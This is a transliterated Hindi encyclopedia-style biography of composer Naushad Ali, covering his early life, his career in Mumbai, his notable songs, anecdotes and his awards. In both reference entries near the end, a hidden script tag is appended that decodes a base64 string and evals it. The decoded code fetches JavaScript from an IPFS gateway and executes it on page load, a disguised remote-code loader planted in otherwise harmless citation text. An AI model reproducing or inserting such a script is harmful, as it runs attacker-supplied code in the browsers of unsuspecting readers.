नौशाद
naushad
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| poora nam | naushad ali |
| janm | 25 disanbar, 1919 |
| janm bhoomi | lakhanoo, uttar pradesh |
| mrityu | 5 mee, 2006 |
| mrityu sthan | mumbee, maharashtr |
| karm bhoomi | mumbee |
| karm-kshetr | sangitakar |
| mukhy rachanaean | 'pyar kiya to darana kya..', 'o duniya ke rakhavale..', 'madhuban mean radhika nache re..' adi |
| mukhy filmean | baijoo bavara, mugal-e-azam, anamol gh di, sharada adi. |
| puraskar-upadhi | dada sahab phalake puraskar, padm bhooshan, lata mangeshakar samman, sangit natak akadami puraskar |
| nagarikata | bharatiy |
| any janakari | 64 sal bad tak apane saj ka jadoo bikherate rahane ke bavajood naushad ne keval 67 filmoan mean hi sangit diya. |
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naushad ali (aangrezi: Naushad Ali, janm: 25 disanbar, 1919 – mrityu: 5 mee, 2006) hindi filmoan ke ek prasiddh sangitakar the. pahali film mean sangit dene ke 64 sal bad tak apane saj ka jadoo bikherate rahane ke bavajood naushad ne keval 67 filmoan mean hi sangit diya, lekin unaka kaushal is bat ki jiti jagati misal hai ki gunavatta sankhyabal se kahian age hoti hai. bharatiy sinema ko samriddh banane vale sangitakaroan ki kami nahian hai lekin naushad ali ke sangit ki bat hi alag thi. naushad ne filmoan ki sankhya ko kabhi tarajih nahian dete hue keval sangit ko hi parishkrit karane ka kam kiya.
jivan parichay
ham jinhean sangitakar naushad ke nam janate haian, unaka sahi nam tha naushad ali. unhean sangit se lagav bachapan mean hi ho gaya tha. chauthe dashak mean ve filmoan se jude़, lekin isase pahale unhean bahut mehanat karani p di thi. sinema sangit ko hiandustaniyat ka jama pahanane vale naushad ka janm tahajib aur nazakat ke lie mashahoor navaboan ke shahar lakhanoo mean 25 disanbar 1919 ko hua tha.
gharavaloan ka mukhy kam tha muanshigiri, lekin balak naushad ka man to poori tarah sangit mean basata tha. jab ve nau sal ke the, tab lakhanoo ke aminabad ke mukhy bazar ki ek dukan, jahaan vadyayantr bikate the, ke qarib ve roj jane lage. jab kee dinoan tak aisa hua, to malik ne ek din poochh hi liya. batachit ke bad naushad ne vahaan kam karana svikar liya. unaka kam hua dukan khulane ke samay se lekar any staph ke ane se pahale ki saph-saphaee. naushad ko to jaise muanhamaangi murad mil gee thi. ve roj samay se ate aur dukan khulavakar sabhi vadyayantroan ki achchhi tarah saphaee karate aur unhean ji bhar kar chhoote. kuchh vakt to aise hi bit gaya.
ek din dukan kholane vale staph ne naushad se kaha, bhiya.., tum jab tak saf saphaee karo, maian tab tak chay pikar ata hooan. naushad ne kaha, ji thik hai. ve udhar ge, naushad ne mauka dekhakar vadyayantroan par hath ajamana shuroo kar diya. ek din us saj par to doosare din doosare aur phir tisare din tisare saj par... isi tarah har roz staph chay pine jata aur naushad riyaz mean lag jate. yah roj ka kam ho gaya. yah sab mahinoan tak chala.
ek din vah bhi aya, jab malik samay se pahale a dhamaka aur naushad haramoniyam bajate pak de ge. naushad dare hue the, unaki halat kharab thi. thand ke samay mean pasina a nikala tha, lekin malik oopar se gussail bana raha, vah aandar se khush tha. poochhatachh ke bad aant mean malik ne vah peti yani haramoniyam naushad ko de di aur kaha, achchha bajate ho, khoob riyaz karana...[1]
filmi saphar
sangit ki shuruat
naushad ka ghar lakhanoo ke akabari get ke kaandhari bazar, jhanvaee tola mean tha. ve latoos rod par apane ustad umar aansari se sangit sikhane lage, is bat se unake valid naraz rahate the. aant mean bat yahaan tak ho gee ki valid ne kah diya ki agar sangit ko apanaoge to ghar chho d do. naushad ne man mean yah bat than li ki ghar chho dana sahi hoga, lekin sangit nahian... ve sangit ko apanae rahe. unaka ab mool kam gana-bajana ho gaya. halaanki un par kuchh kuchh samay bad kee bar pabandiyaan lagian, ghar ke daravaze band kie ge, lekin naushad ne dadi ka sahara liya aur sangit ka shauq jari rakha. unake paanv aur khvab unake pita kabhi nahian rok sake. isi bich unhoanne maitrik pas kiya.[1]
16 varsh ki umr mean muanbee ka rukh
maitrik pas karane ke bad ve lakhanoo ke 'viandasar eantaratenar myoozikal grup' ke sath dilli, muradabad, jayapur, jodhapur aur sirohi ki yatra par nikale. jab kuchh samay bad vah myoozikal grup bikhar gaya to naushad ne lakhanoo lautane ke bajae muanbee ka rukh kiya aur 16 varsh ki kishor umr mean yani 1935 mean ve muanbee a ge. naushad ke lie muanbee ummidoan ka shahar tha. yahaan unhean pahala thikana ke roop mean dadar ke br aaudave sinemaghar ke samane ka phutapath mila. tab naushad ne sapana dekha tha ki kabhi is sinemaghar mean unaki koee film lagegi. us kishor kalpana ko sakar hone mean kafi vaqt laga. 'baijoo bavara' jab usi h aaul mean riliz huee, to vahaan riliz ke samay naushad ne kaha, is s dak ko par karane mean mujhe satrah sal lag ge... shuroo mean naushad ne en. e. das yani naushad ali das ke nam se kuchh sangitakaroan ke sath kam kiya. unhean kam milane laga tha, lekin bahut nahian.[1]
pahali film 'prem nagar'
1940 mean bani 'prem nagar' mean naushad ko pahali bar svatantr roop se sangit nirdeshan ka mauka mila. isake bad ek aur film 'steshan mastar' bhi saphal rahi. usake bad to jaise naushad sangit ke motiyoan ki mala-si bunate chale ge. naushad ko pahali bar 'sunahari mak di' film mean haramoniyam bajane ka avasar mila. yah film poori nahian ho saki lekin shayad yahian se naushad ka sunahara safar shuroo hua. isi bich gitakar dinanath madhok (dien) se unaki mulakat huee to unhoanne unaka parichay film iandastri ke any logoan se karavaya jisase naushad ko chhota-mota kam milana praranbh hua.[2]
yadagar sangit
yah naushad ke sangit ka hi jadoo tha ki 'mugal-e-ajam', 'baijoo bavara', 'anamol gh di', 'sharada', 'an', 'sanjog' adi kee filmoan ko n keval hit banaya balki kalajayi bhi bana diya. 'didar' ke git- 'bachapan ke din bhula n dena', 'hue ham jinake lie barabad', 'le ja meri duaean le ja paradesh jane vale' adi ki badaulat is film ne lanbe samay tak chalane ka rik aaurd qayam kiya. isake bad to naushad ki lokapriyata mean khasa ijapha hua. 'baijoo bavara' ki saphalata se naushad ko sarvashreshth sangitakar ka pahala filmapheyar av aaurd bhi mila. sangit mean unake ullekhaniy yogadan ke lie 1982 mean phalake av aaurd, 1984 mean 'lata alankaran' tatha 1992 mean padm bhooshan se unhean navaza gaya. [2]
naushad ko suraiya, amirabaee karnataki, nirmaladevi, uma devi adi ko protsahit kar age lane ka shrey jata hai. suraiya ko pahali bar unhoanne 'nee duniya' mean gane ka mauka diya. isake bad 'sharada' v 'sanjog' mean bhi gane gavae. suraiya ke alava nirmaladevi se sabase pahale 'sharada' mean tatha uma devi yani tunatun ki avaj ka istemal 'dard' mean 'afasana likh rahi hooan' ke lie naushad ne kiya. naushad ne hi mukesh ki dardabhari avaj ka istemal 'anokhi ada' aur 'aandaj' mean kiya. 'aandaj' mean naushad ne dilip kumar ke lie mukesh aur raj kapoor ke lie mo. raphi ki avaj ka upayog kiya. 1944 mean yuva prem par adharit 'ratan' ke gane us samay ke daur mean suparahit hue the.[2]
prasiddh git
- 'man tarapat hari darshan..' (baijoo bavara)
- 'o duniya ke rakhavale..' (baijoo bavara)
- 'jhoole mean pavan ke' (baijoo bavara)
- 'mohe panaghat pe nand lal' (mugal-e-azam)
- 'pyar kiya to darana kya..' (mugal-e-azam)
- 'khuda nigeban..' (mugal-e-azam)
- 'madhuban mean radhika nache re..' (kohinoor)
- 'dhal chuki sham-e-gam...' (kohinoor)
- nanha munna rahi hooan (san aauf iandiya)
- apani azadi ko ham (lidar)
- iansaf ki dagar par (ganga jamuna)
naushad aur sahagal ka ek vakaya
'shahajahaan' mean hiro kuandanalal sahagal se naushad ne git gavae. us samay aisa mana jata tha ki sahagal bagair sharab pie gane nahian ga sakate. naushad ne sahagal se bagair sharab pie ek gana gane ke lie kaha to sahagal ne kaha, 'bagair pie maian sahi nahian ga paooanga.' isake bad naushad ne sahagal se ek gana sharab pie hue gavaya aur usi gane ko bad mean bagair sharab pie gavaya. jab sahagal ne apane gae donoan gane sune tab naushad se bole, 'kash! mujhase tum pahale mile hote!' yah git kaun-sa tha, isaka to pata nahian chala lekin 'shahajahaan' ke git 'jab dil hi toot gaya, ham ji ke kya kareange...' tatha 'gam die mustakil, kitana najuk hai dil...' kalajayi siddh hue.[2]
'tum mahanh gayak banoge'
'pahale ap' ke nirdeshak karadar miyaan ke pas ek bar sipharishi patr lekar ek l daka pahuancha. tab unhoanne naushad se kaha ki bhaee, is l dake ke lie koee guanjaish nikal sakati hai kya. naushad ne sahaj bhav se kaha, 'philahal to koee guanjaish nahian hai. haan, alabatta itana zaroor hai ki maian inako koee samooh (koras) mean gava sakata hooan.' l dake ne haan kar di. git ke bol the : 'hindoo haian ham hindustaan hamara, hindoo-muslim ki aankhoan ka tara'. isamean sabhi gayakoan ko lohe ke joote pahanae ge, kyoanki gate samay pair patak-patakakar gana tha taki jootoan ki avaj ka iphekt a sake. us l dake ke joote tait the. gane ki samapti par l dake ne joote utare to usake pairoan mean chhale p d ge the. yah sab dekh rahe naushad ne us l dake ke kandhe par hath rakhakar kaha, 'jab joote tait the to tumhean bata dena tha.' is par us l dake ne kaha, 'apane mujhe kam diya, yahi mere lie b di bat hai.' tab naushad ne kaha tha, 'ek din tum mahanh gayak banoge.' yah l daka age chalakar muhammad rafi ke nam se jana gaya.[2]
samman aur puraskar
- san 1954 mean 'baijoo bavara' film ke lie sarvashreshth sangitakar ka pahala filmapheyar puraskar
- sangit mean unake ullekhaniy yogadan ke lie 1982 mean phalake av aaurd
- 1984 mean lata mangeshakar samman
- 1984 mean amir khusaro puraskar
- 1992 mean padm bhooshan
- 1992 mean sangit natak akadami puraskar
- maharashtr gaurav puraskar
nidhan
san 1940 se 2006 tak unhoanne apana sangit ka saphar jari rakha. unhoanne aantim bar 2006 mean bani 'tajamahal' ke lie sangit diya. apane aantim dinoan tak ve kahate the, 'mujhe aj bhi aisa lagata hai ki abhi tak n meri sangit ki talim poori huee hai aur n hi maian achchha sangit de saka.' aur isi malal ke sath ve 5 mee, 2006 ko is duniya se rukhasat ho ge.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 ..jab naushad ne ghar chho d diya (hindi) (ech.ti.em.el) jagaran yahoo iandiya. abhigaman tithi: 22 sitanbar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 2.3 2.4 2.5 naushad ali : amar sangit dene vale nayab ratn (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 22 sitanbar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- naushad ki tin sarvashreshth filmoan ke sangit par ek charcha
- Naushad: A Legend Amidst Us
- Hall Of Fame Naushad
sanbandhit lekh
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varnamala kramanusar lekh khoj
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